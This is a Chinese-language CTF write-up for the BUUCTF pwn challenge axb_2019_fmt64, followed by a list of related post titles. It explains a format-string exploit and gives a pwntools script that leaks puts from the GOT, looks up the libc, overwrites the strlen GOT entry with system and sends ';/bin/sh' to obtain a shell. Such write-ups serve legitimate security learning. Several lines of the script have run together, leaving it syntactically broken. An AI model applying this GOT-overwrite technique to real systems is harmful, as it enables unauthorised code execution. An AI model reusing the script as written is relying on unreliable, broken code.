[BUUCTF-pwn]——axb_2019_fmt64

  • 题目地址:(https://buuoj.cn/challenges#axb_2019_fmt64)[https://buuoj.cn/challenges#axb_2019_fmt64]

这是一道格式化字符串漏洞利用的题目

checksec 一看,竟然连canary都没开,不过开不开好像都木有什么用。

在IDA中看看,可以看出明显的字符串漏洞

首先当然是计算偏移了,发送aaaa%4$x, 比较习惯发送这个hhhh。发现距离栈顶是3,还有五个寄存器的距离,So, 偏移是8。

思路

  1. 利用格式化字符串漏洞,利用偏移泄露出一个got表地址
  2. 找到libc版本,并计算偏移找到我们需要的函数
  3. 再次利用漏洞,修改我们想要利用的函数的got表,将其修改为我们需要的函数
    strlen这个函数是我们经常利用的,一般将其修改为system。
  4. 最后一次利用时,记得先输入 ’ ; ', 因为linux会按照 ’ ; ’ 挨个执行命令的

exploit

from pwn import *
from LibcSearcher import LibcSearcher#p = process('./axb_2019_fmt64')
p = remote("node3.buuoj.cn",25106)
elf = ELF("./axb_2019_fmt64")
#context.log_level = 'debug'
#gdb.attach(p,'b *0x000400957')
puts_got = elf.got["puts"]
strlen_got = elf.got["strlen"]# 1
payload = "%9$s" + "aaaa" + p64(puts_got)
p.sendafter("Please tell me:",payload)
print p.recvuntil("Repeater:")
puts_addr = u64(p.recvuntil('\x7f').ljust(8,'\x00'))
log.success("puts_addr ---> " + hex(puts_addr))
# 2
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys = libc_base + libc.dump('system')
binsh = libc_base + libc.dump("str_bin_sh")
log.success("system_addr ---> "+hex(sys))  #打印的目的,就是如果出错,查看是否修改成功。
# 3
#一般修改前三个字节就好。后面的都是一样的,在同一个libc中
sys_high = (sys >> 16) & 0xff
sys_low = sys & 0xffff
log.success('sys---->>'+hex(sys))
log.success('low---->>'+hex(sys_low))
log.success('high---->>'+hex(sys_high))
payload2 = "%" + str(sys_high - 9) + "c%12$hhn" + "%" + str(sys_low - sys_high) + "c%13$hn"
payload2 = payload2.ljust(32,"A") + p64(strlen_got + 2) + p64(strlen_got)p.sendafter("Please tell me:",payload2)
# 4
payload3 = ';/bin/sh\x00'
p.sendafter("Please tell me:",payload3)p.interactive()

[BUUCTF-pwn]——axb_2019_fmt64相关推荐

  1. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  2. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  3. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  4. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  5. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  6. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  7. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  8. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  9. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

  10. Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算

    32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...

最新文章

  1. 检查当前ORACLE连接数
  2. 自动驾驶发展调查:产业化还需技术“破冰”
  3. c调python_py_initialize:C调Python出错 是初始化错误?
  4. exe解包和重新打包_Jira 批量提交问题 + 生成可执行文件exe
  5. 使用FormData对象
  6. 网络协议收发数据问题
  7. 快收下这份照片模糊变清晰方法攻略
  8. 一、显示VOC2007数据集中的图像及标注信息
  9. mac 字幕生成工具
  10. 激光能类毕业论文文献都有哪些?
  11. 经典圣诞老人题----同步与互斥
  12. NAS网络存储器(转)
  13. Arcgis空间分布方向性分析
  14. win10用不了计算机一级,教你一招解决Win10计算器打不开的问题
  15. U3D - TowerDefense
  16. H5-农阳历日期互转并对应
  17. 怎么将红底照片用PS换成白底
  18. PROGRESSIVE GROWING OF GANS FOR IMPROVED QUALITY, STABILITY, AND VARIATION
  19. MIPS、CPI、MFLOPS
  20. 【绘画练习】使用Ipad+precreate绘制插画

热门文章

  1. 操作系统实验报告9:进程间通信—管道和 socket 通信
  2. 使用BurpSuite抓取HTTPS网站
  3. [网络安全提高篇] 一一〇.强网杯CTF的Web Write-Up(上) 寻宝、赌徒、EasyWeb、pop_master
  4. HarmonyOS之AI能力·图像超分辨率
  5. 0.为什么要学习Vue?
  6. Python学习笔记(二) 第一个Python程序 、 Python基础
  7. Linux_09 Linux软件包管理 rpm与yum
  8. 【Notes9】Linux系统启动过程,数据库,驱动,i2c-tools,shell
  9. DSP SCI模块实验
  10. 【机器视觉】 throw算子